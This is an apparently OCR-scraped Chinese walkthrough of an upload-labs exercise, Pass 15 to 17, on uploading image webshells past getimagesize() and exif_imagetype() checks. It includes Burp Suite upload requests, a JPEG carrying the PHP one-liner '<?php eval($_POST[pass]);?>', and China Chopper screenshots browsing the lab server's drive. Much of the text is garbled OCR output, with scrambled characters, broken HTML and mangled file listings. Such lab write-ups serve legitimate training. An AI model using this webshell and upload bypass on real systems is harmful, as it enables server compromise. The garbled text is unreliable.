(div)dses*enk2>dkiv? 消婁紶 --24603051718139-(View) (View) (arright type="text/jewearght" are="/upload/js/jewry.nin.js>?/script>) (arright type="text/jewearght" are="/upload/js/prime_line=makers.nin.js>?/script>) (arright type="text/jewearght" are="/upload/js/prime_line=makers.nin.js>?/script>) (arright type="text/jewearght" are="/upload/js/prime_jews/jeweirght") (arright type="text/jewearght" are="/upload/js/inder_je>?/script>) (Ana) 乞 英 🤊 🙂 🍨 📟 🐁 👕 🏭 0 matches ? < • > Type a search term ? < + > Type a search term 4,474 bytes | 8 mililis

菜刀直连:

Request Max Params Headers Hex NGT /rglasd/Fact=1/rjlasder, bpl?file=/rglasd/050210119211721; gif MIT/i 1 NGT /rglasd/Fact Reif NG	refox/17.0	*	Response Raw Headers H GiXa GiXa GiXa GiXa id=TP (JaiXa GiXa GiXa	ex HTML id="Pass- id="Pass- id="Pass- id="Pass- id="Pass-	Render 18" href="/up 19" href="/up 20" href="/up ef="/upload/Pe	load/Fass-18/index php "Pass=18/a load/Fass=19/index php "Pass=19/a load/Fass=20/ass=20/a sus=21/index php "Pass=21 (a>(11>	Adri) Adri) Adri)	Å
Cookie: ECS[visit_times]=1						> = 🗆 🗙]	
E-Forwarded-For: S.S.S.S Connection: close					十 🖌 计图	星期二 2021-01-19 勝目初十		
Content-Type: multipart/form-data; boundary=2460	172 16 12 144 日录(21) 文件(54)	之称	Rtiji	大小	属性			
Content-Length: 1369			1015 10 01 10-01-00	0	AND II	□ □ □ 別以类别		
24603051718139	🛅 bea	Confine Had	2015-12-24 10.34.22	0	0777	Typel	e>webshell(/code>代码。(/p>	
Content-Disposition: form-data; name="upload_file"; filename="1.jpg" Content-Type: image/imag	Config. Nsi	Config.Msi	2020-10-24 15:52:22	0	0111	と ロ桂雅曜	⟨√a⟩能运行图片马中的思意代码。⟨/p⟩ >三种后缀都上依成功才算讨关!	
Sourcease system and a share and a share and a share a	Documents and Settings	Documents and Settings	2013-12-18 13:40:01	0	0111	C VIE/334	P = HARRELRAGOS #REX. (P)	
JFIF C	inetpub	Dvbbs0.2.0_34L	2013-10-28 16:58:01	0	UTTT			
	inging-1.3.5	inetpub	2015-12-18 15:40:28		0111			
c	phpStudy	inging=1.3.5	2015-12-18 15:27:21	0	0777			
	rogram Files	phpStudy	2015-12-18 13:47:10		0111		>	
} !1A Qa "q 1	E RECYCLER	Program Files	2020-10-24 15:51:36	0	0555			
%& ()*456789:CDEFGHLJSIUV#XYZcdeightjstuv#xyz账序唔服账股标框设有	a Repositories	i radmin3.2	2013-12-18 13:28:25	0	0777			j 0 matches
* !1 AQ ag "2	Serv-V	C RECYCLER	2011-02-16 21:23:02	0	0777			
\$4 % & ()+56789:CDEFGHIJSTUWHYZcdefghijstuwaryz們刻情珍姫摂曉: 2 14 低日本 担結 C wm 社 相日 約日 2	System Volume Information	C Repositories	2015-11-10 11:26:59	0	0777		(div)	
徐昂(睡xb県瑞鼓雄堇% 票 篮饼)舖 狗U 節Dp >>U鞘e篪框 捆都殳uš鼍阵	C Toncat 7.0	🗀 Serv-V	2020-12-23 23:37:01	0	0777			
1項g間,株績 Q 数据?與B图 铮 t 5 補結場構整整本数v措f	Cols Cools	C soft	2015-11-10 11:38:35	0	0777			
- 普進 9金婿zZ: >e 信门符期 漫 種种 桃伟TLt最 情编现状产 ;p	Teb100	🚞 System Volume Information	2011-02-16 19:41:08	0	0777			
24603051718139	in a since i	Concat 7.0	2013-12-18 13:45:15	0	0777			
Content-Disposition: form-data; name="submit"	i wapub	Cols Tools	2020-01-04 10:15:12	0	0777		//span>@mbsp;by@mbsp; <a <="" href="http://gv7.me" td=""><td></td>	
過要転	🚞 xunshi	C Web100	2013-04-23 13:17:23	0	0777			
24603051718139	See 12:	C VINDOWS	2020-12-23 23:41:05	0	0777			
	· · · ·	C vinesil	2009-01-17 09:28:33	0	0777		1(0)" class="close" title="关闭">关闭(/a>(/div>	
		🚞 wapub	2011-02-16 19:30:46	0	0777			
						GB2312		
		v	<pre>cscript type="text/jaw <script jaw<br="" text="" type="text/jaw
<script type="></script></pre>					

Pass15图片马: getimagesize()

直接上传图片马即可:

Request	Response
Raw Params Headers Hex	Raw Headers Hex HTML Render
POST //glasd/Pac=15/index php NTT/1.1 * Next: 172:10:12:146:000 Next: 172:10:12:146:000 Vac=rAgent: Next114/50.0 %rndex:NT 6.1: NOM4; rv:47.0) Gecks/2010/101 Firefox/47.0 A Accest: text/hub.absitestica/hub.absitestica/ab	(full) * (fully) *
Accept-Language: sh-C[J, sh: q=0.8, en-US: q=0.3 DTT: 1 Referen: http://172.16.12.144:8000/wjlcad/Pass=15/index.php Cocket: ESCS(rest_iteme)=1	 (a)
%-forwardst [*] for 8.8.8.0 Cantest::	(5)注意: グp> (5)1. 保证上校后的图片為中仍然包含完整的Goods>一句话(Jeade)現代(Jeade)現代(Jeade)現代(Jeade)現代(Jeade) (5)2. 使用(Shref="yal)aa(include, phy" (strept="back") 文件包含語例(J-)系统方面用片与中的意思代明, (Jp> (5)3. 图片見選(Good), phy"(Jeade), Scade), pm("(Jeade), Scade), aff(Jeade), Scade), Scade), Aff(Jeade), Scade), Scade), aff(Jeade),
Content-Plagositian: faur-dat: naw="upload_file"; filenaw=* 15 jpg" Content-Type: inage/jpeg	 (1)> (1) (2)と使民(AD) (4)の上使民(AD) (4)のよれて知道の「たいの」を見た(の)的人」、(4) (5)の法律法に任何的人」、(5)
7727 C	<pre>(input class='input, flat' type="flat' name='mulesd_flat')> (input class='buttom' type='submit' name='submit' value='Lt/'> (ferm) (div id='nsg')</pre>
) 11A Qa "q 2人 ##m Rff33br %4: ()#156789.CDEFGKIJSTUWWIZZedefgbijstuwwxyz 銀厚輪電磁線数を検殺す クボ 計加小用級系類時俗境実後許列管杆溴發結準峻趨執	(div id="ing") (div id="ing") (ing srce" //uplowd/8020210120144015_jpeg" width="250px" /> (/div) (/li) (/ol)
	(div> (div) (div) (div id="foster">
1 和風雨 地震 Ψ x X MUTYOURS 甲 t 5 用時 開始 Star KYTE C (15年新日報 ○ 017月 40月: 包埋置以客 30目物と杆 光 2 > 14日 1 見 ノビ格 55 * * ≠ q E 岸論相 場長: 普通 9合紙2: >e 程厂的图 浸 補助 既信工+差 情确很快声 ;p Q T損 谅 竞师级2U r/F (?php eval (\$ POST[pass]);?) ? () →) Type a search term Ormatches	center / topy::.ght/thosp:@dmhosp:@dmhosp:@spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time">//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"//spin.id="copy::ght_time"/spin.id="copy::ght_ti

菜刀连接成功:							
Burp Suite Professional	l v1.7.26 - Temporary	Project - licensed to Larr	y_Lau - Unlimited by mxcx@	fosec.vn			_ 0 X
Burp Intruder Repeater Window He	lp						
Target Proxy Spider Scanner	Intruder Repeater Sequence	er Decoder Comparer Extender	Project options User options Alerts				
1 ×	<u> </u>						
Go Cancel < 🔻	172.16.	12.144 +				$\rangle = \Box$	Target: http://172.16.12.144:8000
Request	C:\			+ 🗸	读取	星期三 2021-01-20 腊月初.	it.
Raw Params Headers Hex	172 16 12 144	日書 (21) 立件 (54)	夕称	时间	★小 *	□□ 計占米別	
POST /upload/Pass=15/index.php HITP/1 Host: 172.16.12.144:8000		日来(21),又(+(34)	-=====================================				*
User-Agent: Mozilla/5.0 (Windows NT 6 Accept: text/html, application/xhtml+>	🗋 bea		bea	2015-12-24 10:34:22	0	Type1	
Accept-Language: zh-CH, zh; q=0.8, en-US DNT: 1	🚞 Config. Msi		🚞 Config. Msi	2020-10-24 15:52:22	0	② 日程提醒	
Referer: http://172.16.12.144:8000/up Cookie: ECS[visit times]=1	🚞 Documents	and Settings	🛅 Documents and Settin	gs 2013-12-18 13:40:01	0	២ 快捷万式	
X-Forwarded-For: 8.8.8.8 Connection: close	🚞 Dvbbs8. 2. 0	_SQL	🛅 Dvbbs8.2.0_SQL	2013-10-28 16:58:01	0		thell {/code>代码。 {/p>
Content-Type: multipart/form-data; bo Content-Length: 1367	inetpub	-	🚞 Inetpub	2015-12-18 15:40:28	0		运行图片马中的恶意代码。 后缀都上传成功才算过关!
	nginx-1.3.	5	a nginx-1.3.5	2015-12-18 15:27:21	0		
Content-Disposition: form-data; name= Content-Type: inege/ineg	🔂 Program Fi	les	nbnStudy	2015-12-18 13:47:10	0		
TETE	🚞 radmin3.2		Proposal	2020-10-24 15:51:26	0		
JELE	🛅 RECYCLER		i rrogram Files	2020-10-24 15:51:36	0		
	🚞 Repositori	es	i radmin3.2	2013-12-18 13:28:25	0		
	🚞 Serv-V		C RECYCLER	2011-02-16 21:23:02	0		
%&'()*456789:CDEFGHIJSTUVWX	i soft		🚞 Repositories	2015-11-10 11:26:59	0		√ div>
	Dystem Vol	ume Information	🚞 Serv-V	2020-12-23 23:37:01	0		
\$4 % & ()*56789:CDEFGHLJS ? 14. 位 获 捏	Tools		🚞 soft	2015-11-10 11:38:35	0 -		
(注助(增xb與唱致類至% 票 监研) 銷 約 1 痘q開, 候襪 Q 穀留?與IF图	- Wab100		▼ 4 (+ //		an>ânbsp; byânbsp; ≦a
~ :0驼F肼 40拌:炮堞筐H次 5 場骇-*籍進 9舍婿zZ:>c						GB	2312
? < + > Type a sea	irch term		0 m	atches ? < + >	Type a sear	ch term	0 matches
Done	- V	Y.					🔁 中 🤊 🙂 🍨 📟 🐁 甞 🏭
📀 🥭 🚞							14:42 http \$://blucsth?.net/ <u>2027</u> /9/2033

Pass16图片马: exif_imagetype()

exif_imagetype() 读取一个图像的第一个字节并检查其签名。 需要开启php_exif模块,如下图:



上传木马:

菜刀连接:

id="Pass=13" href="/uplo			
id="Pass=14" href="/uple	oad/Pass=13/index.ph oad/Pass=14/index.ph	p">Pass=13(/a)(/li> p">Pass=14(/a)(/li>	_
		> = 🗆 🗙	1
	Jacob Seren		
127		3ERG 2021 01 20 18/9/0//	
加大小	小腐性		
J15-12-24 10:34:22 D	0777	Type1	
320-10-24 15:52:22 0	0777	🕞 日程提醒	
013-12-18 13:40:01 D	0777	🕒 快捷方式	
013-10-28 16:58:01 0	0777		
015-12-18 15:40:28 0	0777		
015-12-10 15:07:01 0	0777		
10 12 10 13.21.21 0	0111		
J15-12-18 13:47:10 U	umr		nm as s
J20-10-24 15:51:36 0	0555		(9)。(1) 的恶音代码。(1)
J13-12-18 13:28:25 D	0777		功才算过关!
011-02-16 21:23:02 0	0777		
015-11-10 11:26:59 0	0777		
320-12-23 23:37:01 0	0777		
015-11-10 11:38:35 0	0777		
011-02-16 19:41:08 0	0777		
	0777		
013-12-16 13.45.15 0	0111		
J20-01-04 10:15:12 0	0777		
J13-04-23 13:17:23 0	0777		
320-12-23 23:41:05 0	0777		
009-01-17 09:28:33 0	0777		
011-02-16 19:30:46 0	0777		
		•	
(1 No. 1 114 1		GB2312	
ass="mask">//div> .ass="mask">//div> .ass="dialog"> iv class="dialog"title") v class="dialog=content	>Æanbap;⊼ <a href="<br">t*>/div>	"javascript:void(0)" class="close"	title="关闭">关闭(/a>(/div>
script" src="/upload/js/	:/jquery.nin.js">√sc :/prism.js">√script>	ript)	telle autorite and the and the AT-19
Type a search term			
	sscript" src="/upload/js sscript" src="/upload/js Type a search term	seripi" gre="/upled/js/jgnery min_js">//seripi seripi" gre="/upled/js/jgnery min_js">//seripi]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]	scoript* mcm="/ψlaad/js/puery min.js">/(script> wcmipt* mcm="/ψlaad/js/prim.js">/(script>)] Type a search term

Pass17 图片马:二次渲染(没完成)